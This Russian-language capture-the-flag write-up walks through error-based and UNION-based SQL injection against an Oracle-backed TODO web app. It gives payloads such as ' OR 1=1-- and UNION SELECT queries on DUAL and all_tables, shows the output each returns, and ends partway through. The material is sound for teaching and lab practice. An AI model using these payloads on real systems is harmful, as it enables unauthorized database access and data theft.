Вводная информация: с самого начала известно, что таск связан с SQL инъекцией, и используется СУБД Oracle.

При открытии сайта, нас встречает реализация TODO-списка задач с поисковой строкой.

Pasted image 20250331131047.png

Если попробовать ввести ', то вернется ошибка Error: DPY-2041: missing ending quote ('). Из чего делаем вывод, что это error-based SQLi. При подстановке классического payload ' OR 1=1-- нам возвращаются все элементы таблицы:

  <li>Create tables in this db | done: 1</li>

  <li>Create tables in another db | done: 1</li>

  <li>Have lunch | done: 1</li>

  <li>Restrict network permissions | done: 0</li>

Этот список TODO ещё пригодится в будущем.

Далее определяем количество столбцов и тип данных для дополнительного запроса через UNION. Т.к. нам известно, что используется СУБД Oracle, то запросы будут иметь свои особенности. В Oracle каждый запрос SELECT должен использовать ключевое слово FROM и указывать допустимую таблицу. В Oracle существует встроенная таблица dual, которая может быть использована для этой цели. Таким образом, увеличивая количество NULL до тех пор, пока не пропадет ошибка, запрос будет выглядеть следующим образом:

' UNION SELECT NULL,NULL FROM DUAL--

В ответ нам вернется прошлый TODO список + один новый элемент:

<li>Create tables in another db | done: 1</li>

<li>Create tables in this db | done: 1</li>

<li>Have lunch | done: 1</li>

<li>Restrict network permissions | done: 0</li>

<li>None | done: None</li>

Первый элемент выглядит текстовым, а второй числовым. Проверить это можно подставляя вместо NULL строковое и числовое значение.

Далее, учитывая особенности СУБД Oracle, можно посмотреть таблицы в БД:

' UNION SELECT table_name,NULL FROM all_tables--
<p>Found TODOs:</p>
<ul>

  <li>ACL$_OBJ | done: None</li>

  <li>ALL_CHUNKS | done: None</li>

  <li>ALL_UNIFIED_AUDIT_ACTIONS | done: None</li>

  <li>APP_ROLE_MEMBERSHIP | done: None</li>
  ...

В ответ возвращается большое количество таблиц. Мы так же можем посмотреть колонки любой из таблиц: